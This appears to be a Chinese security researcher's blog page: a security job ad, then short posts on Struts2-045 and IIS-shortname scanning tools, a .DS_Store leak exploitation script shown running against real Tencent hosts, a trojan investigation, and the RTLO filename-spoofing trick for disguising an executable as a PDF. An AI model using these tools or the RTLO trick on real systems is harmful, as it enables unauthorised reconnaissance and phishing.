招聘安全服务开发工程师 – 北京

爱奇艺安全团队在北京招聘 安全服务开发工程师1名

主要负责公司内部安全服务平台的开发和优化:SIEM、态势感知、入侵检测、堡垒机、扫描平台等。   欢迎投递简历!   lijiejie[at]qiyi.com

 

要求:
1.  熟练掌握Python,熟悉Django等web框架。 了解AngularJS等前端框架

2. 熟悉 Linux 操作系统, 熟悉常见算法和数据结构

3. 熟练使用MySQL,掌握查询优化; 熟练使用MongoDB

4. 熟悉RabbitMQ/ActiveMQ/RocketMQ、Redis、Kafka 等消息中间件,了解Elasticsearch,了解Docker

5. 有安全攻防经验优先、有海量数据处理和分析经验优先

 

Struts2-045漏洞批量扫描工具

一个 Struts2-045漏洞批量扫描工具

https://github.com/lijiejie/struts2_045_scan

Requirements

pip install requests

Usage

usage: scan.py [options]

Struts2-045 Scanner. By LiJieJie (https://www.lijiejie.com)

optional arguments:
  -h, --help  show this help message and exit
  -f File     New line delimited targets from File
  -t THREADS  Num of scan threads, 100 by default

Screenshot

 

.DS_Store文件泄漏利用工具: ds_store_exp

.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。

如果开发/设计人员将.DS_Store上传部署到线上环境,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。

ds_store_exp 是一个.DS_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地: https://github.com/lijiejie/ds_store_exp

DS_Store parser is based on ds_store 1.1.0 。

一个示例

python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member
            ├── assets
            │   ├── css
            │   │   ├── ace-reset.css
            │   │   └── antd.css
            │   └── lib
            │       ├── cityData.min.js
            │       └── ueditor
            │           ├── index.html
            │           ├── lang
            │           │   └── zh-cn
            │           │       ├── images
            │           │       │   ├── copy.png
            │           │       │   ├── localimage.png
            │           │       │   ├── music.png
            │           │       │   └── upload.png
            │           │       └── zh-cn.js
            │           ├── php
            │           │   ├── action_crawler.php
            │           │   ├── action_list.php
            │           │   ├── action_upload.php
            │           │   ├── config.json
            │           │   ├── controller.php
            │           │   └── Uploader.class.php
            │           ├── ueditor.all.js
            │           ├── ueditor.all.min.js
            │           ├── ueditor.config.js
            │           ├── ueditor.parse.js
            │           └── ueditor.parse.min.js
            └── static
                ├── css
                │   └── page.css
                ├── img
                │   ├── bg-table-title.png
                │   ├── bg-tab-say.png
                │   ├── ico-black-disabled.png
                │   ├── ico-black-enabled.png
                │   ├── ico-coorption-person.png
                │   ├── ico-miss-person.png
                │   ├── ico-mr-person.png
                │   ├── ico-white-disabled.png
                │   └── ico-white-enabled.png
                └── scripts
                    ├── js
                    └── lib
                        └── jquery.min.js

21 directories, 48 files

IIS短文件名暴力枚举漏洞利用工具(IIS shortname Scanner)

上文我已经介绍了IIS短文件名暴力枚举漏洞的成因和利用。

这里只是发出昨天写的脚本。

脚本可以测试对应的URL是否存在漏洞,若存在漏洞,则猜解文件夹下所有的短文件名:包括文件和文件名。

网上早前已经有公开的工具了:https://code.google.com/p/iis-shortname-scanner-poc/

我没有参考他的代码。自己用python实现了一个漏洞利用脚本。简单测试,发现比上面的POC能猜解到更多的文件和文件夹。

获取源代码:  https://github.com/lijiejie/IIS_shortname_Scanner   (已于Oct 27, 2016更新

测试: IIS_shortname_Scan.py http://stom.tencent.com

最终结果:

stom-tencent-com

通过联想,就可以猜解到上传页:  http://stom.tencent.com/tapdupfile.aspx

stom-tencent-com_upfile

----------------------------------------------------------------
Dir: /aspnet~1
File: /logina~1.cs
File: /tapdap~1.cs
File: /tapdup~1.cs
File: /queryg~1.ash*
File: /queryi~1.ash*
File: /queryp~1.ash*
File: /tapdap~1.asp*
File: /tapdup~1.asp*
----------------------------------------------------------------
1 Directories, 8 Files found in total
Note that * is a wildcard, matches any character zero or more times.

 

记一次木马的发现

昨天清理磁盘,整理旧文件的时候,轻信直接打开了wooyun zone里某位白帽子分享的工具,一时大意,中马了。

PC机上有个360安全卫士,也没有一丁点的提示。。。(这木马过360的)

随后我在修改subDomainsBrute的时候,抓dns query,惊讶地发现,出现了一个3322.org的域名,并且对应记录是不存在的,如下图:

likang.3322.org

以前玩远控木马的同学可能知道,3322.0rg,花生壳之类的,常常被用来木马在内网反向上线的。所以,这个地方十分不正常,这让我意识到,有较大的几率已经中马了。

用360安全卫士扫描,没有发现任何木马和危险项,之前也提到了,这个木马是过360的。

现在的问题是,如何抓到这个木马,我绕了一个弯子,因为我想从dns query入手来查找(正确的做法是打开进程查看器,逐个进程检查):

  1. 我们已经知道,木马会主动去连likang.3322.org,但是wireshark是抓不到进程pid,它仅仅支持从某一网卡抓包,并不关心包来自于哪个进程
  2. 即使能抓到DNS查询的对应进程,其实也只能抓到windows下的DNS Client:svchost.exe进程,实际并无意义,我们依然不知道背后到底是哪个进程在请求likang.3322.org

在抓dns query源进程受阻的情况下,我想到,既然木马想访问likang.3322.org,而这个域名又不存在。 那么我应该可以欺骗它去访问我自己的服务器,我修改hosts文件,添加:

11.22.33.44	likang.3322.org

这个时候,我应该可以抓到访问likang.3322.org的其他请求了。

我用smartsniff抓包,发现有到目标11.22.33.44的http request,木马会请求http://likang.3322.org/ip.txt,看起来像是一个DDOS木马,下载攻击目标的。

这个时候我还是没抓到进程,对应的http://likang.3322.org/ip.txt文件并不存在,http request一瞬间就结束了,tcp查看工具因为刷新频率的原因,还看不到对应的进程。

于是我在11.22.33.44上python起了一个http server,并且让get请求hang住,sleep 30s,最终抓到了对应的进程:

virus_found

如图,QQ进程:

process_QQ

总结一下,上面也说到,正确的做法,应该是查看进程列表,然后逐个检查进程是否正常,从 启动时间 |  可执行文件的创建日期 等特征对比。

绕个弯子,换了个思路。  🙂

Unicode RTLO(Right-To-Left Override) Security ISSUE

很久没有写博客了,不太容易安静下来,做一些简单的总结。希望2016年可以多记录一些零散的想法。

今天简单聊一下 RTLO的小问题。

RTLO是一个8238的Unicode字符,它的作用是让紧跟在后面的字符串倒序: http://www.codetable.net/decimal/8238

可以用来欺骗用户打开可执行文件(钓鱼攻击),或者欺骗后端应用的检查机制。

例如,我这里有一个可执行文件,文件名是 u’aaaa\u202eFDP.exe’  的文件,202e是

>> hex(8238)
'0x202e'

那么windows用户在资源管理器中看到的文件名将显示为 aaaaexe.PDF,如果这个exe的图标正好PDF的图标,可能会欺骗用户点击执行。

我示例将cmd.exe重命名为u’aaaa\u202eFDP.exe’ ,python中执行

>> os.rename('cmd.exe', u'aaaa\u202eFDP.exe')

用户在资源管理器中看到的效果就是aaaaexe.PDF(我这里特意大写了PDF):

rtlo.sample

不过,可以注意到,文档类型那一栏,依然是“应用程序”。而且一般的安全工具也能拦截这种欺骗攻击。

本文参考链接: https://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/